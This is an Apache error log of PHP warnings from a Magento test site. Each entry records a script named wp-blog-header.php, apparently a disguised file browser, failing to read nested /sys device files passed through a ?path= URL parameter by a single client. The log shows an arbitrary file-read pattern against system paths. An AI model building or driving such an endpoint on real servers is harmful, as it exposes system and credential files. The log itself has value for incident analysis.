[Thu Mar 26 14:56:07.250751 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc
[Thu Mar 26 14:56:11.141095 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ac
[Thu Mar 26 14:56:14.798870 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 14:56:18.010742 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ec
[Thu Mar 26 14:56:19.099425 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ca
[Thu Mar 26 14:56:20.055394 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ee
[Thu Mar 26 14:56:21.120391 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:cc
[Thu Mar 26 14:56:23.767293 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ac
[Thu Mar 26 14:56:25.396808 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ec
[Thu Mar 26 14:56:25.926457 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:dc
[Thu Mar 26 14:56:28.512296 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ca
[Thu Mar 26 14:56:33.857795 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/device:be
[Thu Mar 26 14:56:34.339375 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac
[Thu Mar 26 14:56:40.713613 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 14:56:41.867851 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ec
[Thu Mar 26 14:56:43.905251 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:dc
[Thu Mar 26 14:56:44.543780 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ec
[Thu Mar 26 14:56:44.978990 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:be
[Thu Mar 26 14:56:47.613759 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:fa
[Thu Mar 26 14:56:49.685060 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:aa
[Thu Mar 26 14:56:51.346494 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:fa
[Thu Mar 26 14:56:53.404033 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:fc
[Thu Mar 26 14:56:56.027284 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:dc
[Thu Mar 26 14:56:56.575720 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ec
[Thu Mar 26 14:56:57.092817 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ea
[Thu Mar 26 14:57:01.379777 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec
[Thu Mar 26 14:57:02.371745 2026] [php:warn] [pid 3216463] [client 74.7.241.26:47056] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:da
[Thu Mar 26 14:57:03.704617 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:da
[Thu Mar 26 14:57:06.356337 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:fc
[Thu Mar 26 14:57:09.429415 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:fe
[Thu Mar 26 14:57:10.569673 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ee
[Thu Mar 26 14:57:11.010629 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:fc
[Thu Mar 26 14:57:11.595431 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ac
[Thu Mar 26 14:57:12.583383 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ec
[Thu Mar 26 14:57:13.675651 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:be
[Thu Mar 26 14:57:15.263436 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:fa
[Thu Mar 26 14:57:24.232712 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem
[Thu Mar 26 14:57:25.365020 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ce
[Thu Mar 26 14:57:25.891723 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ea
[Thu Mar 26 14:57:26.973483 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 14:57:30.112833 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ec
[Thu Mar 26 14:57:39.212088 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem
[Thu Mar 26 14:57:43.463436 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ac
[Thu Mar 26 14:57:51.414848 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:fa
